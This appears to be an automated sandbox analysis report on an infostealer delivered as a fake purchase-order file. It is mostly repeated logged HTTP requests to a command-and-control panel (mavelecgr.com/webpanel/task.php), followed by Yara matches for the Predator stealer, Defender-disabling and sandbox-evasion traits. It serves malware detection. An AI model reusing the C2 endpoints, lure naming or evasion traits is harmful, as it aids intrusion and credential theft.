Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//config.json HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com

Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.317458176.00000000016DB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Yara detected Predator

Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.3853138.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.465ae8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.37ef853.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.402203.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 5708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: asGTRKuvQ.exe PID: 6700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 6504, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 33.2.update_232107.exe.3853138.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.330cac8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.330cac8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 21.2.asGTRKuvQ.exe.2c44788.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 21.2.asGTRKuvQ.exe.2c44788.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.33049a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.33049a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 42.2.update_232107.exe.465ae8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 21.2.asGTRKuvQ.exe.2c4c8a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 21.2.asGTRKuvQ.exe.2c4c8a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 33.2.update_232107.exe.37ef853.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 42.2.update_232107.exe.402203.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 42.2.update_232107.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen

HTML document with suspicious name

Source: Name includes: REVISED PURCHASE ORDER.HTML

Initial sample: purchase

Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 33.2.update_232107.exe.3853138.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.330cac8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.330cac8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 21.2.asGTRKuvQ.exe.2c44788.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 21.2.asGTRKuvQ.exe.2c44788.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.33049a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.33049a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 42.2.update_232107.exe.465ae8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 21.2.asGTRKuvQ.exe.2c4c8a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 21.2.asGTRKuvQ.exe.2c4c8a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 33.2.update_232107.exe.37ef853.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 42.2.update_232107.exe.402203.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 42.2.update_232107.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052E8F20	8_2_052E8F20
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052EAF08	8_2_052EAF08
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052E97F0	8_2_052E97F0
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052EE368	8_2_052EE368
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052EEDF8	8_2_052EEDF8
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052EE730	8_2_052EE730
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052EE740	8_2_052EE740
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052E0006	8_2_052E0006
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052E0040	8_2_052E0040
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052E7B3C	8_2_052E7B3C
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052EE35A	8_2_052EE35A
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052E8BD8	8_2_052E8BD8
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_057FECE0	8_2_057FECE0
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_057FECD1	8_2_057FECD1
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_057FC9D4	8_2_057FC9D4
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_0637EE50	8_2_0637EE50
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_0637EE41	8_2_0637EE41
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_0194B29C	20_2_0194B29C
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_0194C310	20_2_0194C310
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_019499D0	20_2_019499D0
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_0194DFD0	20_2_0194DFD0
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_08F2DC43	20_2_08F2DC43
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_08F2C18C	20_2_08F2C18C
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_08FB6800	20_2_08FB6800
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_08FBCA48	20_2_08FBCA48
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_08FB3B90	20_2_08FB3B90
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_08FBEC78	20_2_08FBEC78
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_08FB7670	20_2_08FB7670
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_08FBEC68	20_2_08FBEC68
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_0AA00910	20_2_0AA00910

Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Section loaded: sfc.dll

Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: asGTRKuvQ.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\unarchiver.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
